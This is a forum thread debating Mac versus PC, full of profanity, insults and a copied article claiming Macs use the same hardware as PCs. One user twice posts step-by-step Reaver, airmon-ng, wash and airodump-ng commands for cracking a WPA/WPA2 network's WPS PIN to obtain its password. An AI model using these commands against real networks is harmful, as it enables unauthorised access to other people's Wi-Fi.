Mac or PC?
- Thread starter leftyguitar
- Start date
leftyguitar
Well-Known Member
So many of these responses have been so funny. I like jobs. A bit of a rebel... barefoot on campus... marches to the beat of his own drummer... argumentative. I like using mac computer products, always have. But I get that to some, mac users appear to be arrogant and condescending. I hope I'm not like that. But I do prefer the product.The only thing good about that Steve Jobs photo is that it allowed this...
racerboy71
bud bootlegger
fuck apple, that is all.
not really, fuck apple again, gotta use their services only, eff them, and the horse they rode in on.. i'll never own an apple product.. end of...
not really, fuck apple again, gotta use their services only, eff them, and the horse they rode in on.. i'll never own an apple product.. end of...
fssalaska
Well-Known Member
on linux 1st
sudo apt-get install reaver
reaver -i <interface-name> -b <BSSID of target>
airmon-ng start wlan0
wash -i mon0
airodump-ng mon0
Now finally we are going to use Reaver to get the password of the WPA/WPA2 network. Reaver makes hacking very easy, and all you need to do is enter-
reaver -i mon0 -b XX:XX:XX:XX:XX:XX Explanation = i - interface used. Remember creating a monitor interface mon0 using airmon-ng start wlan0. This is what we are using. -b species the BSSID of the network that we found out earlier.
This is all the information that Reaver need to get started. However, Reaver comes with many advanced options, and some are recommended by me. Most importantly, you should use the -vv option, which increases the verbosity of the tool. Basically, it writes everything thats going on to the terminal. This helps you see whats happening, track the progress, and if needed, do some troubleshooting. So final command should be-reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv After some hours, you will see something like this. The pin in this case was intentionally 12345670, so it was hacked in 3 seconds.
But I do pay for internet because I'm not a peace of shit crook.
sudo apt-get install reaver
reaver -i <interface-name> -b <BSSID of target>
airmon-ng start wlan0
wash -i mon0
airodump-ng mon0
Now finally we are going to use Reaver to get the password of the WPA/WPA2 network. Reaver makes hacking very easy, and all you need to do is enter-
reaver -i mon0 -b XX:XX:XX:XX:XX:XX Explanation = i - interface used. Remember creating a monitor interface mon0 using airmon-ng start wlan0. This is what we are using. -b species the BSSID of the network that we found out earlier.
This is all the information that Reaver need to get started. However, Reaver comes with many advanced options, and some are recommended by me. Most importantly, you should use the -vv option, which increases the verbosity of the tool. Basically, it writes everything thats going on to the terminal. This helps you see whats happening, track the progress, and if needed, do some troubleshooting. So final command should be-reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv After some hours, you will see something like this. The pin in this case was intentionally 12345670, so it was hacked in 3 seconds.
But I do pay for internet because I'm not a peace of shit crook.
Carolina Dream'n
Well-Known Member
Mac all the way. It's almost all I have ever used.
fssalaska
Well-Known Member
free your mined and your ass will follow.
see4
Well-Known Member
No they aren't.
That's done for a reason. When was the last time you've seen a crash screen on a Mac?
Agreed.
I have a 27" iMac, a 13" MacBook Air, a 17" MacBook Pro, an iPad, an iPhone, 2 appletvs and 2 Airport Extremes. I don't edit video or audio. I also have 2 Amazon Echoes, 2 samsung smart tvs and 2 NAS drives on the network.
You're doing it wrong.
Pinworm
Well-Known Member
Depriving those ISPs of their revenue. Forshame!
Fluff Up
Well-Known Member
your confused lesbian is packaged and awaiting delivery, warning: name of lesbian may vary from that advertised
on a serious note, is the needless mark-up on Apple hardware really worth the rigid OS?
Free your OS and your mind will follow
see4
Well-Known Member
lol. I run iOS Mac in my home network because I stream audio and video throughout my entire house on any device without "crashing". I also run iOS because I run a 10 stack VM of various flavors of Linux for the various projects I work on.
I run Debian mostly, but I also run RedHat and Suse. No silly GUIs, just wasted bulk.
iOS is not even remotely close to being described as "rigid". If you know how to get around the command line.
Fluff Up
Well-Known Member
you know, your first post was a little mis-leading, that's a pretty massive leap from apple-fag to hardcore dev, so when it comes to real work you use a real OS
You must understand where the apple haters are coming from when most people use them for nothing more than internet, video and typing a new CV every few years, all of which can be done just as well for a lot, lot cheaper.
I appreciate/occasionally use CLI for linux which being based on unix like iOS leads me to assume it's similar in iOS so I get where you're coming from but they vendor lock hard with the average consumer
in my experience linux mint with Samba sharing a NTFS drive is the handiest but I've never had to cope with a Mac on the LAN
fssalaska
Well-Known Member
fssalaska said: ↑Mac and PC are the same hardware now.
see4 said: No they aren't.
Mac's are PC's same fucking hardware !
In 2006, Apple began transitioning Macs to run on Intel’s x86 chips instead of the PowerPC architecture. This wasn’t just swapping out a chip manufacturer — Mac OS transitioned from being a PowerPC operating system to being an x86 operating system. Macs now use the same Intel chips found in “PCs.” The last version of Mac OS X to even run on PowerPCs at all was Mac OS X 10.6 Snow Leopard back in 2009.
Macs and PCs Have Practically the Same Hardware
Some people seem to think that the hardware in a Mac is very different from the hardware in a PC, but this isn’t true.
The CPU in a Mac is the same Intel CPU you’ll find in Windows Ultrabooks. Companies like Samsung, Toshiba, and SanDisk provide the solid-state drives used in a Mac — these companies make the SSDs you’ll find in Wintel laptops, too. LG and Samsung make the displays. In Mac world, a motherboard is known as a “logic board” — but the logic board is basically the same thing as a motherboard that you’ll find in a PC.
Install Windows on a Mac with Boot Camp and Apple will provide a Windows driver package for you. Many of the drivers in this package are the typical drivers you’d get on a Windows PC.
Some hardware — like those nice trackpads — are specific to Apple’s laptops. But, overall, a MacBook’s internals are practically the same as a PC’s. The hardware may seem higher-quality because Apple’s MacBooks start at $899 with higher-end hardware — there’s no way to buy a $199 Mac with the cheap PC components you’d find in a $199 Windows laptop.
Macs Make Great Windows or Linux PCs
Macs can even make great Windows or Linux PCs. If you’re searching for a great PC laptop, it doesn’t make sense to restrict yourself specifically to only computers that come with Windows or Linux. Many people buy Macs specifically to run Windows or even Linux on them.
If you’re looking at a more expensive laptop, Apple’s MacBook Air and MacBook Pro laptops are some of the best you can buy. Comparable Ultrabooks with basically the same hardware often cost significantly more than a MacBook. When it comes to PCs that cost over $1000, over 90 percent of them are Macs. Apple has a big advantage over the Windows PC manufacturers here — they have an economy of scale and can afford to drop prices, while those PC manufacturers have to keep prices high because they sell so few. Sure, you have to buy a Windows license separately for $100 or so if you plan to run Windows, but it may still be a good deal.
coped from: * http://www.howtogeek.com/195224/macs-are-pcs-can-we-stop-pretending-they-arent/ *
see4 said: No they aren't.
Mac's are PC's same fucking hardware !
In 2006, Apple began transitioning Macs to run on Intel’s x86 chips instead of the PowerPC architecture. This wasn’t just swapping out a chip manufacturer — Mac OS transitioned from being a PowerPC operating system to being an x86 operating system. Macs now use the same Intel chips found in “PCs.” The last version of Mac OS X to even run on PowerPCs at all was Mac OS X 10.6 Snow Leopard back in 2009.
Macs and PCs Have Practically the Same Hardware
Some people seem to think that the hardware in a Mac is very different from the hardware in a PC, but this isn’t true.
The CPU in a Mac is the same Intel CPU you’ll find in Windows Ultrabooks. Companies like Samsung, Toshiba, and SanDisk provide the solid-state drives used in a Mac — these companies make the SSDs you’ll find in Wintel laptops, too. LG and Samsung make the displays. In Mac world, a motherboard is known as a “logic board” — but the logic board is basically the same thing as a motherboard that you’ll find in a PC.
Install Windows on a Mac with Boot Camp and Apple will provide a Windows driver package for you. Many of the drivers in this package are the typical drivers you’d get on a Windows PC.
Some hardware — like those nice trackpads — are specific to Apple’s laptops. But, overall, a MacBook’s internals are practically the same as a PC’s. The hardware may seem higher-quality because Apple’s MacBooks start at $899 with higher-end hardware — there’s no way to buy a $199 Mac with the cheap PC components you’d find in a $199 Windows laptop.
Macs Make Great Windows or Linux PCs
Macs can even make great Windows or Linux PCs. If you’re searching for a great PC laptop, it doesn’t make sense to restrict yourself specifically to only computers that come with Windows or Linux. Many people buy Macs specifically to run Windows or even Linux on them.
If you’re looking at a more expensive laptop, Apple’s MacBook Air and MacBook Pro laptops are some of the best you can buy. Comparable Ultrabooks with basically the same hardware often cost significantly more than a MacBook. When it comes to PCs that cost over $1000, over 90 percent of them are Macs. Apple has a big advantage over the Windows PC manufacturers here — they have an economy of scale and can afford to drop prices, while those PC manufacturers have to keep prices high because they sell so few. Sure, you have to buy a Windows license separately for $100 or so if you plan to run Windows, but it may still be a good deal.
coped from: * http://www.howtogeek.com/195224/macs-are-pcs-can-we-stop-pretending-they-arent/ *
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see4
Well-Known Member
No. They aren't. I do this shit for a living. Would like for me to explain to you why?
fssalaska
Well-Known Member
You must really suck at your job... yes they are, I setup Satellite networks for a living for viasat, what's for a living got to do with you being a dumb ass ?
http://www.tomshardware.co.uk/forum/243570-28-hardware-difference-macs < read for once !!!